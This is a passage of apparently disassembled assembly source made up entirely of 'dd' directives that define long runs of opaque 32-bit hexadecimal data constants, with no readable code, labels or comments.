		dd 0C10D1D92h, 1D5141BAh, 40860421h, 0CE158F8Ch, 7E7ABC31h
		dd 588774E2h, 70729954h, 1822B561h, 40F75100h, 656EA2CBh
		dd 0E1460179h, 572545C0h, 59782456h, 2FEAC8E2h,	72A2EA0Ch
		dd 58AF6D2h, 0F78D390h,	0D1158055h, 2B4CD01Ch, 1FD401E8h
		dd 0A5F8FAE5h, 1D4E48C0h, 0C4DCDE26h, 0C1E1492Eh, 0D4DFB8EDh
		dd 573895BBh, 0D2170C6Fh, 394808B5h, 0E9809841h, 75CF9E90h
		dd 4006268Fh, 2A379D89h, 4B5A0020h, 0F7A0C3CDh,	0B803C454h
		dd 79D0C17h, 577FC06Ch,	0F941F8B6h, 0B167D0h, 29DE2FF3h
		dd 28019105h, 49408BE8h, 0B1E6E0h, 0A2A0C806h, 154E0A84h
		dd 0BC93F00h, 0F473BC85h, 96D6007Bh, 19168135h,	1301DB8Eh
		dd 207DAA17h, 0B8F52530h, 249028F4h, 1E452FC0h,	31A9079Fh
		dd 4064C39Eh, 76692007h, 1E47AF79h, 415707F0h, 0EC3A0106h
		dd 0F23E3CA6h, 9BF2DF42h, 0D2F06860h, 0FC14DF01h, 84A77215h
		dd 0B300B1B8h, 0F4110F0Bh, 0F2171809h, 0D1107B33h, 1712028Ch
		dd 9001D599h, 0E5F0C5A4h, 0A0044C31h, 308A423h,	0F5B78D21h
		dd 0D3B0AABCh, 63002AB9h, 3BEFEB9Ah, 0FE91FEDh,	0A75E6251h
		dd 17EE2080h, 440078C3h, 7C8372FBh, 59BB56h, 189995DBh
		dd 4E9231F1h, 47E850F2h, 6008B36Fh, 394FC91Fh, 0EB79016Ah
		dd 0BB776DCBh, 72A06A30h, 171F00EEh, 19ED74B2h,	530EFFA4h
		dd 80FE7E4Ch, 0AC8EF7Bh, 0F19100E9h, 0FF5FD0CBh, 0A60CB33Dh
		dd 61429EE1h, 3FF87025h, 0D20090A3h, 0B54C68C4h, 0F6E2E0B7h
		dd 3F0CF1Bh, 0D7DAB0D1h, 70BF490h, 5E609B10h, 0A306206Bh
		dd 2C007698h, 0DCD1DB6Ch, 7DE488EDh, 564C0701h,	249F3B2h
		dd 51E0EB25h, 9438F067h, 2A187587h, 3B46ED26h, 757D00C4h
		dd 9A811D61h, 0ACEA1379h, 2308BF00h, 0C536EDE9h, 2A1F60E4h
		dd 66CB72E3h, 0BCB31200h, 7A759DFh, 0A28A0014h,	2E417121h
		dd 8F00C01Ah, 9BF06C55h, 3748CEh, 0EA8870A0h, 8D56F609h
		dd 0A0E1400h, 5F34A626h, 0E66B0076h, 0BFDC16D6h, 2F00F6FEh
		dd 0DF517CBDh, 537635ABh, 88C004C6h, 22697975h,	138DA00h
		dd 0DCA53B25h, 0E4AE0007h, 0C5B5718Ch, 4EF036ABh, 3BF71100h
		dd 9E8A69CDh, 2294007Dh, 6330C28h, 0A30E0BBEh, 27EB1635h
		dd 2C5020B5h, 812EF7C8h, 36918439h, 6287892Fh, 0C4533810h
		dd 93E21247h, 98C9181Bh, 10008FCDh, 560E3D20h, 0FF4A8h
		dd 0B716D04Eh, 6311CF6Bh, 5C69F300h, 859B2FFAh,	0E608C657h
		dd 40012013h, 0F31EF052h, 0EBD97020h, 0AFE4E8h,	0EEBB36D2h
		dd 5013117Dh, 0E4A38h, 0B468178h, 7651A6h, 0D71CBB3h, 9D080C8Bh
		dd 0A353AA01h, 0B6A105A8h, 2FE2D3h, 180F5E1Ah, 637CCC00h
		dd 0E998BBE4h, 0B9F01CF4h, 8FFA4397h, 78930C0Dh, 0A6A10FE0h
		dd 3071DA2Ah, 0ADE32750h, 30B6AB2Ah, 0CC2A20h, 720FBC2Bh
		dd 6B7DD608h, 31E19500h, 28EB43E3h, 1E940FDDh, 4FA504A9h
		dd 0A1C7008Dh, 5A57F2B7h, 71940E54h, 0F5592D00h, 303CB092h
		dd 4C8D1D81h, 70CA1E40h, 4A0C5288h, 0FC9DBCA1h,	0F1CEEC0h
		dd 280CCDEh, 8861829Fh,	8AA00CAh, 70D1E942h, 0E300A36Ch
		dd 0AE21B423h, 1D57B1C3h, 0C185047h, 920141Ah, 0EEB6D700h
		dd 99404AF6h, 7717C7Eh,	1F98F531h, 800547EBh, 9F46DB43h
		dd 851B4801h, 861823D1h, 64122ED1h, 4D53BA60h, 21223Eh
		dd 77F97EC5h, 3064858h,	99076097h, 0AFE0D9EEh, 0DC697363h
		dd 0C80075A1h, 910FFF26h, 865CEF07h, 2046F078h,	39C60041h
		dd 43E54426h, 0FC1D8E1Dh, 0E180A575h, 0ECCC36B1h, 3BA9007Dh
		dd 57D320DFh, 0BC18288Eh, 0A061068Fh, 0ED7DC1h,	33AA8DEh
		dd 361A40A5h, 0D9108B14h, 0C56D0098h, 2B64025Ch, 0F081B569h
		dd 0D4DE3F53h, 0CD06052Ah, 7432185Dh, 3A9078h, 0AE0BDDDAh
		dd 2661F086h
		dd 18F4513Ah, 2C20A42Fh, 0BDDD0074h, 0F179188Ah, 2E289F03h
		dd 0A0FAD0F7h, 3A541400h, 7FEFC009h, 91FC00DCh,	5DE8E7Eh
		dd 0BA3FBB89h, 0B601034Bh, 80D23B3Ch, 8AB0CFh, 5C06F976h
		dd 7895DB4h, 0FC867A01h, 4CFB66A8h, 14807DD0h, 0E063B2C7h
		dd 781F9600h, 0A172C6D9h, 13850203h, 0F05474A2h, 0E845DD40h
		dd 20DE613Ch, 20863726h, 5FFAC8FFh, 0ACA16000h,	311EF8B3h
		dd 0CBF0E47h, 51F809C6h, 4B003EBAh, 55925787h, 3B3664Ch
		dd 3375AC3Bh, 31077DDDh, 45AF9C73h, 0E0C73C13h,	4423DBh
		dd 0CEC5E29Dh, 0E77C776Eh, 41793Eh, 0C173AB66h,	0CF390Ch
		dd 2385612h, 67D52B45h,	87C4CB3Dh, 0A3FD71F7h, 0C94259E0h
		dd 3441F38h, 980640F2h,	9543A2C7h, 0C172AF03h, 801ADEACh
		dd 701C3569h, 1E903A8Ch, 20D30518h, 18007ACCh, 0DF40945Ah
		dd 3C9B8DE5h, 0ED01FFF3h, 0EF0D8CCAh, 79C9837Ah, 9BC804BEh
		dd 51FFA8D3h, 187F01C4h, 8CF63715h, 1E29DC7Ch, 1DF9E55Ch
		dd 0DD06E0C6h, 41DBF1h,	0CCA67552h, 0A2B549C4h,	0D99E3C1Dh
		dd 206D190Ch, 0A7EF0032h, 905EE781h, 203727Bh, 10C27FCEh
		dd 6CAB0B4h, 0CFAF3049h, 0F1877498h, 0CE9A260h,	1F29F026h
		dd 83B7D0B8h, 737C461Ch, 80D815A1h, 293D0680h, 0EF64087Fh
		dd 3D3E77D0h, 0E080586Dh, 0FD61409Eh, 0CF03DCA7h, 3A307445h
		dd 0F440FD3Fh, 5E115DAh, 0FD1D0083h, 1C8E4C4Bh,	0A3E4DE01h
		dd 0D3F8B003h, 0C93BF2E5h, 38232918h, 0EC39F548h, 312D8C92h
		dd 0C6738h, 1E85834Bh, 80CB9809h, 545B44A5h, 0ACEC226Fh
		dd 289ABD29h, 0B2186859h, 997AD705h, 0E5C03DC7h, 0C16A70h
		dd 3109C0C8h, 9F4881FFh, 149371FEh, 0CB1AE300h,	851F7D63h
		dd 1B953B80h, 9D64D8h, 0C34A5676h, 119BB174h, 0FE142402h
		dd 971CCC33h, 0C6B4082Ch, 0B032A460h, 104F2CAh,	1C606656h
		dd 85382410h, 5543C1D9h, 4180E44Fh, 0EDD5F727h,	1BBC6C80h
		dd 0ACC5331Eh, 79208A00h, 0AB7E669Eh, 413660F6h, 0A47F26A0h
		dd 758D2F00h, 1C3849Bh,	2454E431h, 0C1DC21B6h, 26F0876Eh
		dd 24B7002Ch, 0A03FA78Fh, 0DB24841Dh, 70344CDh,	0F8AE18B8h
		dd 0F7918Bh, 336CEF0Bh,	0DA1058C0h, 0C53480CAh,	2A81003Bh
		dd 7335C550h, 83FC0097h, 9A4B57BFh, 0E21CD5AFh,	0E3007253h
		dd 0DC5AEA8h, 500B012Fh, 5EFA22F2h, 0F42387h, 74B04C9Ch
		dd 0FC976DEBh, 6930008Eh, 0BB8D6A2Ah, 43147D83h, 16FDA787h
		dd 6100C8F5h, 7F6BFD21h, 0EE033B82h, 7A1DEA06h,	0E7E8FA5Fh
		dd 10E3E100h, 0ADDBBE9Ah, 0DF430777h, 1001858Dh, 2FE53CF3h
		dd 0E92B7201h, 0A746B374h, 72920F8h, 0D2E62179h, 76438095h
		dd 40B8D790h, 0D9F63Eh,	0B7192A33h, 5EA9DEh, 8E7FDB51h
		dd 7177136Ah, 38EC2F30h, 1B63DF7h, 3BA8CEF3h, 80EA0291h
		dd 0A4559918h, 6AD4A82h, 0BE630A7Ch, 5B00A8DFh,	0A2909E88h
		dd 123BF5E9h, 2F9726Fh,	11A61B9Fh, 8A0B00D7h, 0E767ECFh
		dd 8E9155ECh, 81D5A8E4h, 0EC983292h, 3F30E1E6h,	717B308Ch
		dd 78D760B7h, 0BF6A5292h, 0CFBAE400h, 0DC5E6BA4h, 0B1942A0Dh
		dd 14FBB040h, 40EDBBFDh, 67513A8Ch, 408B7A00h, 41246CA9h
		dd 156600FAh, 0E4BCF98Fh, 691D0ADEh, 0E05319Bh,	2C40BF1Ah
		dd 0E9B78B4Bh, 303C433Dh, 0D595D9E5h, 2084038Ah, 0A87F3445h
		dd 7C3D3803h, 37190B3h,	0E826FB11h, 98A860F4h, 0B23ADB01h
		dd 0DED71892h, 719B20h,	0DDF5D4E8h, 0BE8FDFE7h,	2B80AB05h
		dd 0AB180A7Eh, 7958529h, 0C2E283C4h, 1DDC90E4h,	0B7032336h
		dd 5EB90EA3h, 0ADBA09Bh, 722E120Fh, 8C3F00C8h, 57F6F244h
		dd 7B782A00h, 3A85B58h,	0F91B0096h, 39DB55FAh, 0DC744163h
		dd 9EA8D9C0h, 9A081Ah, 205DEDE5h, 38E05222h, 6D496790h
		dd 0C80F7950h, 80BA80A4h, 77CF93DCh, 16C00C84h,	0F849A178h
		dd 8F0067F8h, 1BE1B938h, 1C5E2C48h, 0C01D4DF9h,	0BCB9F78h
		dd 0D200A9E0h, 9766A3F4h, 0AD0AA656h, 16B803F0h, 40FFF01Bh
		dd 2EE5D53h, 686F2800h,	4D186ED3h, 5A2B002Ch, 96E4FCD2h
		dd 37E845EEh, 0B866DF01h, 0D5018377h, 2959E0h, 5ACE96E5h
		dd 0A07F566Ch, 6E23B07h, 0A14348C4h, 0AE200005h, 2A866FCEh
		dd 5D000835h, 0D6925C21h, 0C04F9744h, 70901481h, 7C0CF9ADh
		dd 78AF8E22h, 0E21B008Bh, 55E502EDh, 7D006F4Bh,	0A7A84F44h
		dd 0F686FFA1h, 6EDA00CEh, 2EF18110h, 2C38674Dh,	9EED805Ch
		dd 0C02399E1h, 4B321FE5h, 0F8C706F0h, 813A50B4h, 0A95E034Ch
		dd 0FB5583EBh, 8F80D42Bh, 39DDB5h, 933B78FEh, 117B0933h
		dd 0CE004FFCh, 411B5C13h, 70B8263h, 85E3DBAh, 2A48D0FBh
		dd 9C7CE4E3h, 0F9AB1201h, 0EF6B54Ah, 1694EF4h, 92B76B7Ch
		dd 0C82B3F02h, 60E6DE3h, 403059ACh, 4E3EFEB8h, 0A63D0B08h
		dd 0C4809DC9h, 0E1480299h, 0C0B75507h, 5360DB20h, 7778EF0Eh
		dd 1E981EACh, 0E2803936h, 0D0F6D77Fh, 1015143h,	12C7114Ah
		dd 0F0D82581h, 4E3D0FB9h, 0BD80A598h, 0C3447BCCh, 0EEFAF350h
		dd 48F4BB00h, 0D5A6B8C1h, 6B1606B5h, 50F87CF2h,	2E00B4F4h
		dd 9EC67E0Dh, 18729ACh,	6E00740h, 0E6FD0C96h, 6BD0F280h
		dd 570FB682h, 4093271Dh, 0B130109Fh, 53010040h,	0F2A17DDBh
		dd 7300387Ah, 5FE0AB81h, 97C378Dh, 6104C375h, 18C05C78h
		dd 0F33A8C4Ch, 0DDE8ADh, 1C1635A9h, 5B623052h, 8955170Eh
		dd 0B91D865Ch, 59080020h, 5E1105F6h, 0F90021C5h, 0D5695C5Dh
		dd 0FA27FF7h, 71788720h, 0C9DDB800h, 890E4460h,	0EB906B67h
		dd 66A80FDCh, 20D4E7h, 30434B83h, 259B652Ch, 3CCED4E9h
		dd 38BBAB00h, 4ED5A5F8h, 289976DEh, 19CB62Fh, 15318598h
		dd 60FC3B5Eh, 0FD741724h, 0A9DA7F00h, 301178D5h, 4EE5001Bh
		dd 0B16C8C43h, 2E362C68h, 0C0E9583Fh, 292B8F59h, 800ACA7h
		dd 96377892h, 3D03FC57h, 861DF54h, 0D8AFCE8Bh, 340023E4h
		dd 4EFBC5D5h, 13340E9h,	90A282DDh, 0C4438BACh, 4B0AEEB1h
		dd 2CCAB9CFh, 62377C8Eh, 193D1C57h, 20701081h, 7410F34h
		dd 0F1AC104Ch, 0FC007919h, 962BD755h, 0CB596Ch,	3D5F60EAh
		dd 5ED9228Bh, 0DF1C4A2Eh, 0E0F92B07h, 68384Ch, 63580D0Fh
		dd 881D4C5Bh, 7F62824Ch, 523B21C0h, 7666F7E7h, 0EE1E00FCh
		dd 547C6427h, 1600CEB2h, 0CF51D4BAh, 0AF376Eh, 0E543F42Fh
		dd 0C5F7F5ABh, 2736450Fh, 5EBF2h, 64F91E1Dh, 3F7EAAh, 0B03A0601h
		dd 8375E57Eh, 611A48h, 0ADC8033Ch, 0B16545Bh, 558F4C24h
		dd 1EEC0080h, 74FE4F77h, 41402700h, 0D4108CA6h,	0D5C000EFh
		dd 499CBC1Fh, 0FE776123h, 70CB4F00h, 4484D0FDh,	8D595C9Bh
		dd 7DB8B101h, 0CCA19C0Eh, 0D51FF503h, 5500D081h, 64097466h
		dd 0F05713D1h, 9A790383h, 4F02572h, 0E37468CCh,	0D4D8FCA3h
		dd 5648F541h, 80383E34h, 867E0C01h, 0A3F667h, 88CE3EC7h
		dd 5506EB17h, 7339A100h, 0CD0105CAh, 2A8D3AD1h,	0A40F629Ch
		dd 0CC803D10h, 74CBFC54h, 80E0FE95h, 643B0D00h,	561ACF29h
		dd 35631DA9h, 7E6F40B1h, 0C3BEE897h, 73AAB800h,	9836EA52h
		dd 0F04E00BCh, 7721B945h, 462E025Ch, 900F0A4Dh,	6150E0FDh
		dd 308D082h, 0AD0AFF74h, 87D89A7Dh, 2400A149h, 0F488F78Fh
		dd 34872C2h, 8B7EF679h,	6DBB0595h, 6CDF8AC0h, 1D37A600h
		dd 0D2933DB5h, 78AA035Fh, 98AD7F33h, 0B800268Bh, 99E66AF5h
		dd 0BDA306h, 71C15801h,	0BAAE83EDh, 0F4F73200h,	0CBE2D435h
		dd 4DA0041h
		dd 0ECBDE84Ah, 0C903B0D9h, 0FA4FFE1h, 3C07880Bh, 7AD1EEA5h
		dd 0B8FC0034h, 6502E31h, 3F011B14h, 0BFB20581h,	76FCBD6Ah
		dd 103B0FBCh, 0EE2039A5h, 0AC182875h, 820081E4h, 0BE6E29EAh
		dd 0E82AFD9Fh, 673B0051h, 355490Dh, 0FC071A8Eh,	0B8CA3832h
		dd 62BBAC0h, 7B9D0004h,	19E636D4h, 6B3DEE4Eh, 5DB18028h
		dd 79E7F53h, 7BD700E5h,	44F9D87Dh, 0A64C0EBBh, 69BC007Dh
		dd 94CBAEECh, 0C9681D37h, 90E0408Bh, 1DC44FABh,	287E5900h
		dd 30F980Bh, 37AD00FFh,	9D6EFBCDh, 0AB04C6EAh, 5460F3A2h
		dd 71C01087h, 0DE57A5h,	0BB029BD5h, 0E412EE59h,	0FE45F805h
		dd 9C00F7CBh, 0D79E3F56h, 0B2BA0E82h, 78812B58h, 0C0437374h
		dd 0C63C2AD3h, 0DC3D0002h, 80F91605h, 0E3CE28Ch, 7D2686C7h
		dd 3D85CF00h, 8F010DCAh, 0C5B22D4Fh, 0CE31C73Eh, 2E1BC4CCh
		dd 398969h, 68E11EEDh, 0CC00AD50h, 91275E45h, 35799Dh
		dd 0A7ABDFB2h, 0A95F81D1h, 55F8C500h, 456C8250h, 47F20022h
		dd 7695A072h, 3A005C1Ch, 6507845Eh, 0CC3F75h, 2CDD7B82h
		dd 0CF9DC34Ch, 3556BC00h, 0AECBD9B8h, 9726033Dh, 6FEA30FAh
		dd 27DF61A8h, 0A916770Fh, 0B2C2079h, 0E0AE02Bh,	458137ABh
		dd 0A1C0A5EEh, 0EE577FBDh, 640EF300h, 8444B7A6h, 8B1B0325h
		dd 0A73E3613h, 0BA02C298h, 95F49201h, 4A2FA228h, 0B8AF07E0h
		dd 391F0083h, 1450A764h, 3A0F2BDBh, 0A07BDC6Bh,	30DA9B9Ch
		dd 0DCF35026h, 3B0C009Ah, 3DA90711h, 450046F2h,	9356CBD5h
		dd 19B24Fh, 0BC15448Eh,	0F689A2A5h, 99794C00h, 0DC3A6283h
		dd 0D2370002h, 9E252E04h, 0E00030BDh, 5B1F5EBFh, 0D74831h
		dd 919D374Ah, 2E53428Bh, 6D9A7007h, 5850FACBh, 19CDD4Ch
		dd 7C663B08h, 0FCD38731h, 0AD0F622Ah, 1BC2DC1h,	26C4596Fh
		dd 0AB9730h, 63B58D41h,	0EAFD1E66h, 80D4091Bh, 9819A89Eh
		dd 0DA0F0032h, 0F8A0FC97h, 0F93928CCh, 79269C08h, 84337C80h
		dd 70583095h, 91CE0096h, 218305E8h, 9703BB8Bh, 0E37DD8C9h
		dd 88FCA3A6h, 24E5386Ah, 48FCF724h, 264E0084h, 8F2C0DB3h
		dd 7FC98101h, 0F7B8BCD9h, 0F27BF9C0h, 71C51E27h, 1AB2C0A4h
		dd 404EFEDFh, 0C14D8C00h, 96D487CBh, 0CE4B30FDh, 0CF498854h
		dd 0B95EFE00h, 365BE1B2h, 0FA400057h, 0A0CDE7D6h, 400B3EEh
		dd 0E032DA47h, 0C58A7Dh, 6FCA8BBFh, 937E6ED4h, 3EFA3100h
		dd 0AC02F160h, 3B5A0066h, 55F9A2ADh, 0C60088C4h, 24A5D93Ch
		dd 1631CE62h, 5A4544h, 7C709EDAh, 0A80068D0h, 9B228058h
		dd 0C463B0h, 1CBB07B5h,	5E40EA0Ah, 5A723F00h, 0C0A756B8h
		dd 0D451074Fh, 409DDBB4h, 58DD9A61h, 0D52E821Ch, 1CBDE2C0h
		dd 0E7235FEh, 0F2C5813Ah, 9193FAC0h, 61EE9AC1h,	0BB496E00h
		dd 0C853168Dh, 9CCE3B65h, 0ED450780h, 3F73815Bh, 3A5E0C02h
		dd 89F5B164h, 48CF83B3h, 80D5C992h, 3CCF7D4h, 9332F2E6h
		dd 0A1F8752Fh, 941F67B9h, 53012BB4h, 0C6B0A68h,	0E05EF0h
		dd 5740623Bh, 23AED93Ah, 738DFA3Eh, 0A4B84500h,	52E330FDh
		dd 0D8AB03DBh, 570EAAA7h, 0E98706F8h, 2D04B00h,	0AB891B19h
		dd 34CF000Dh, 3CDE684Ch, 587B3BBAh, 0D55E6200h,	0BB278C45h
		dd 7AA20942h, 0D0066784h, 0D90318ECh, 0DF4CEB56h, 0B773A859h
		dd 93150EBBh, 0C49CF79Eh, 0C0A46FC5h, 14245DF1h, 5AA93900h
		dd 77E13E9Ch, 0CEC6005Fh, 4E2F68A7h, 4C3C5C7Dh,	3D240007h
		dd 0A90F2B80h, 80C0064h, 5DD111EDh, 6500EC7Bh, 88BC955Fh
		dd 0CE721Bh, 278024CAh,	0A8FAD136h, 0D0352607h,	0E9A31FCDh
		dd 8B33F03Fh, 48BC7B45h, 921D9DF0h, 362F438Eh, 91E754BEh
		dd 0F5097505h, 5D42804Fh, 108598C5h, 12A990BFh,	0AC420Ah
		dd 0A5868C4Ah, 800D7C3h, 69D87509h, 0EE8F9893h,	0D5F7006Ah
		dd 0B1DE9620h, 4272E1F2h, 0DD923500h, 840EC0B6h, 24631782h
		dd 40561FE0h, 45AD9578h, 8C00649Dh, 153C3EB8h, 9A1834h
		dd 1C9E060Fh, 292F2DB9h, 0B77D8D0Fh, 0CC7160D9h, 1E3EC331h
		dd 418EE91Eh, 0F789F3EBh, 39B1E423h, 32BC5000h,	0A00521E3h
		dd 0B55600FAh, 0C56D4A3Eh, 770C91C2h, 1049144Bh, 6BF200DAh
		dd 0C0CBD39Bh, 84002AD0h, 90BFD9B6h, 0BDCCA4h, 0F18D50A2h
		dd 86C49E57h, 7500B1E4h, 0A09F18CDh, 0DF804Fh, 420D2951h
		dd 8C359514h, 0CB65AE00h, 0FFEB5F84h, 7982008Dh, 0BE57EAD6h
		dd 0F0F2B744h, 71C4B409h, 461802C0h, 0EA26E03Bh, 0C8F13B4Eh
		dd 8900DC58h, 56AAD09Eh, 4F00E702h, 8060DBF7h, 0F1F6F9h
		dd 5F17C6A6h, 0B232779h, 7DBAA800h, 60482136h, 0EF94A06Fh
		dd 0E5540EEEh, 1DA0929Ch, 1C2C558Ah, 56000C90h,	82E64DFCh
		dd 0D726F0h, 0A64E10BEh, 54236B1Dh, 70EFCCC7h, 0B871B8D3h
		dd 1CD33Ch, 4F81322Dh, 0C2AFEACFh, 0CD70E800h, 879F4994h
		dd 0AEEE29h, 2E42F073h,	6E52233h, 88DE4A00h, 0EC6F44A6h
		dd 1280C05Fh, 0FA0D1D5h, 27A5200Ah, 9A86E8BAh, 417A99h
		dd 0CDC554EFh, 0B0C6E482h, 0D05F9D00h, 2D59E73Dh, 27700098h
		dd 0BAA6399Ch, 0B07DF653h, 0B3ACC607h, 78902B8Fh, 3E492935h
		dd 6E1F03E4h, 2EFC00B1h, 0A63DCC1Ch, 4E0CCEEEh,	198D24C3h
		dd 527A2A0Ah, 0DA050F90h, 0C3E0BFF8h, 955321F9h, 101B0928h
		dd 28A0B7F6h, 0A600F528h, 39BFE1ACh, 0E6D9214h,	0BAB221EEh
		dd 56A09F0Fh, 9DDF799h,	0F01C48B8h, 2343F8F3h, 68256D89h
		dd 60044850h, 6DF99417h, 0C9BB82Bh, 306CA5D3h, 711D00D8h
		dd 0D5B491C1h, 0B707F6BBh, 0D975D30Dh, 0B61823C1h, 9AB1988h
		dd 18448245h, 6A21078Fh, 42270816h, 14451411h, 0A5B100Ch
		dd 4AA2849Eh, 10B304D8h, 41FFBA21h, 8141718h, 0C19503Bh
		dd 2054866Fh, 642A33Ch,	5424692Ah, 51E63C07h, 0A2FA0C15h
		dd 11FB873Ch, 0BD19829Fh, 4076CB26h, 2B0F74Ch, 0FF463A27h
		dd 0A89087B5h, 0B400CA7Ch, 93B259ECh, 337C70Ah,	57C6A2F6h
		dd 80AFE7AFh, 394BD0E9h, 0EEC96707h, 6BB18A56h,	0D4D8BC73h
		dd 5CF60068h, 5EBB1685h, 9E1C9674h, 55C7A948h, 22E7BA57h
		dd 0C992FFC0h, 393507CEh, 0E17A6866h, 0D07BEBDDh, 0E200D195h
		dd 0D6AF6D59h, 5AE75h, 1A0FE866h, 1667BA21h, 3C004CA4h
		dd 93B59ECCh, 782B01A5h, 0D26F00B6h, 4451CF74h,	856038D5h
		dd 2FF734B4h, 0F6ED007Ch, 0DA9293ACh, 8901557Eh, 0CF4CB299h
		dd 6D202D17h, 0ED380EA8h, 0F861B125h, 5827ACD8h, 8843AF1Ch
		dd 11AE2FC0h, 3524C6C9h, 4B1EFBBFh, 13003FDDh, 1F552DA6h
		dd 9D4409EBh, 0AA8D3AAEh, 44A404C8h, 1F5BACC0h,	0A33D0BC0h
		dd 0D0F135DFh, 68001440h, 5E934C47h, 12EA9DB2h,	4AE83300h
		dd 54069E82h, 14FE701Fh, 5C291C55h, 0D31A6FC0h,	0B30354F7h
		dd 48539B56h, 2391F8C3h, 0B7BB3F21h, 73CC3E00h,	0B105B6F6h
		dd 0AC60933Eh, 3203AF49h, 0E458F13h, 0B6867C89h, 0B03B3D81h
		dd 1F1020ACh, 0AD20C703h, 5FF66Fh, 11867829h, 0B36D743Bh
		dd 0E98CAC0Dh, 35C5B031h, 0A6011DC2h, 0C078DD4Eh, 4CE08A0Fh
		dd 1EA0E70h, 493D76A3h,	301E2688h, 0AF2453D9h, 46806CFAh
		dd 3A4CF736h, 1838921Dh, 40556088h, 871C631Bh, 35D4C28Eh
		dd 9E410E18h, 10F18125h, 0DDF4CCDBh, 0D482024Bh, 36B26867h
		dd 7E10744Ch, 6BC6FF3h,	79460D0Fh, 408002Ch, 0CD0EB7h
		dd 0D61F97EAh, 85228A59h, 26CC4248h, 0A206CE5Eh, 0E8413AE3h
		dd 0FFD4058Dh, 404F7CA9h, 58CECD80h, 460285E2h,	11E2110h
		dd 0CCAC9590h, 3A097898h
		dd 598D635h, 0E6853490h, 24869428h, 0EED475F6h,	57F0DACAh
		dd 8C6D6A8Ah, 1185803Fh, 0B3A9E5E7h, 432EF2Fh, 2EAFA6C0h
		dd 100A249h, 0B60DD028h, 0F0B3BA1Ah, 9F9B1254h,	76E83ACEh
		dd 4240DC93h, 0F0C79D0Eh, 3BD2004Ch, 5604ED21h,	58999CFAh
		dd 0EFDADD43h, 0CD4BDCE0h, 0D2710135h, 0DFE0A6B2h, 97A0C385h
		dd 0FA007831h, 58DED61Ah, 2EE3960h, 0C3CC7FF4h,	9A40EA33h
		dd 24ED7D52h, 8B00C608h, 22747913h, 4CA95614h, 351F8DECh
		dd 87CF0596h, 3BD02028h, 0A23AB124h, 30AC0220h,	45816BBAh
		dd 852E7064h, 0DC00089Bh, 68512642h, 1DA3030Fh,	0F0B0D061h
		dd 758A4980h, 0CD486004h, 0C8A1073h, 28B1D8F0h,	0EC25E926h
		dd 0F50D2C04h, 0B353A840h, 541446C2h, 29D82048h, 7356FCC9h
		dd 0A87F0148h, 0BF74CD49h, 8EF4483Eh, 0AC27051Eh, 80878CE8h
		dd 380C7F0Ch, 0D028B3CEh, 0AF580D64h, 9040F4E8h, 41F81442h
		dd 3870603Ah, 4687FBC6h, 31DE18F0h, 0A430E0Fh, 0A10F081Bh
		dd 0C4791FF5h, 44433CA6h, 0DE3CF6A2h, 26F9224Fh, 8B9C3E58h
		dd 0FC03C093h, 0F0167C31h, 200070EAh, 428769A4h, 3C4091EBh
		dd 0B5130C5Ch, 937040CAh, 153AA6FEh, 2D05A103h,	0DBAA659Ah
		dd 27481086h, 0B49C4073h, 0EF96F8A1h, 857C80BCh, 3CB867BCh
		dd 0BF793A1Ch, 38D0FA83h, 432C8929h, 407875h, 30B03EB6h
		dd 52D92273h, 40C02031h, 77879C33h, 2A8FAF7h, 0A0BF76E4h
		dd 0E4AAD107h, 0A05895C8h, 0EDC95709h, 5DE69030h, 8A60561Eh
		dd 9740D066h, 549869A8h, 0A7C6D8BAh, 91580604h,	200103Dh
		dd 93ABEDA4h, 1561F94h,	0BEE5CF8h, 0E0A8F2C2h, 0A3064776h
		dd 81930E3Bh, 1B9418D8h, 0F3AF294Bh, 4402F040h,	0F2EFC944h
		dd 21463702h, 2F33A0Fh,	7B28831Eh, 13293020h, 0C1B08851h
		dd 0E1C4A000h, 0AF1E34FEh, 4C8EFA08h, 0EA1E25ACh, 645C00E2h
		dd 695AFAAEh, 2E23FC0Fh, 47F8A042h, 5C17530Eh, 0ED0776C0h
		dd 0B05AE181h, 59CC3AEEh, 290C6700h, 5DBC3843h,	3B8C00CBh
		dd 206008BFh, 920AF9B4h, 0ACEB76C0h, 0DF418300h, 95ABD6h
		dd 0DE70224Fh, 94B51BCBh, 612BA700h, 18CAE8A6h,	17011668h
		dd 0F74C00C1h, 77A24C28h, 2AB58E00h, 70C7A423h,	7DA3006Fh
		dd 0D54F9790h, 9369DF83h, 1ADB0020h, 0C087BB14h, 5561F410h
		dd 8600137Ch, 4C51E708h, 0A0B980A3h, 0EF0DCh, 0E535C2D6h
		dd 0F39A823h, 0F6CDF200h, 5CC94990h, 17B800A6h,	0DB824072h
		dd 0A9769CD6h, 807F953Eh, 2AB6BEE1h, 1B50B4Eh, 0C4F704F5h
		dd 0F89D15ECh, 0A0096C1h, 0B701DE5Eh, 0BE7D45h,	7C84EDF6h
		dd 6F1E5328h, 6A3E0C02h, 758D745Eh, 208174C2h, 0C63D63CEh
		dd 0B573CC40h, 0FB3A58h, 0EC08D275h, 2B1A45Ch, 0A784369Eh
		dd 0F2E04595h, 0AC006DABh, 11C94F54h, 661352h, 0C13F7488h
		dd 62982AFBh, 1EB4793Fh, 25004A6Eh, 0B5A0208Ah,	0E8E503EFh
		dd 53980271h, 8F90FBF0h, 27CD8BDh, 0DE27B193h, 0F040D778h
		dd 500301D8h, 0FBAE4F5Bh, 0D662B841h, 20C13D38h, 98034D3Fh
		dd 0C51BBF05h, 7519CE98h, 0B99E5Ch, 0CA1C116h, 35097Eh
		dd 914AB53Bh, 0EB51F383h, 3E4C9402h, 483188CBh,	0E71D7BCh
		dd 58165608h, 0D326C6C0h, 3339DF9Ch, 1D007E6Eh,	2C343AACh
		dd 9AF5D2h, 95157AA0h, 27394CF6h, 0E508C21Eh, 0E7174700h
		dd 0ED8CC5h, 0A95F80BAh, 7927F03h, 0C844F112h, 9FFB1200h
		dd 663379h, 90A2413Ah, 0DF11DE92h, 1EDA6300h, 2309C25Eh
		dd 39F0F03Ch, 0D90313BAh, 0E3E8CF33h, 0DB4AD0C8h, 0B2459930h
		dd 0FBE4675h, 798590Bh,	0D2E3520h, 0BD008041h, 615BE313h
		dd 0A0BAEE3Bh, 26EEFB1h, 0E15CCAFh, 11E06988h, 0E400DE6Dh
		dd 96EDD6A4h, 12A93Ch, 0ED064D1h, 4901513h, 2AD70900h
		dd 8927919Fh, 34BB0EB8h, 7767F905h, 75A1D098h, 0A0067A2h
		dd 5944E450h, 45D2F78h,	85BE9207h, 0A0308739h, 10BC0284h
		dd 0A62D720Eh, 0EE80BE0Fh, 0E76D397Eh, 8835051Bh, 0BA43144Ch
		dd 9B5A6600h, 7B72BFh, 0C1AF5264h, 21837707h, 0FC763004h
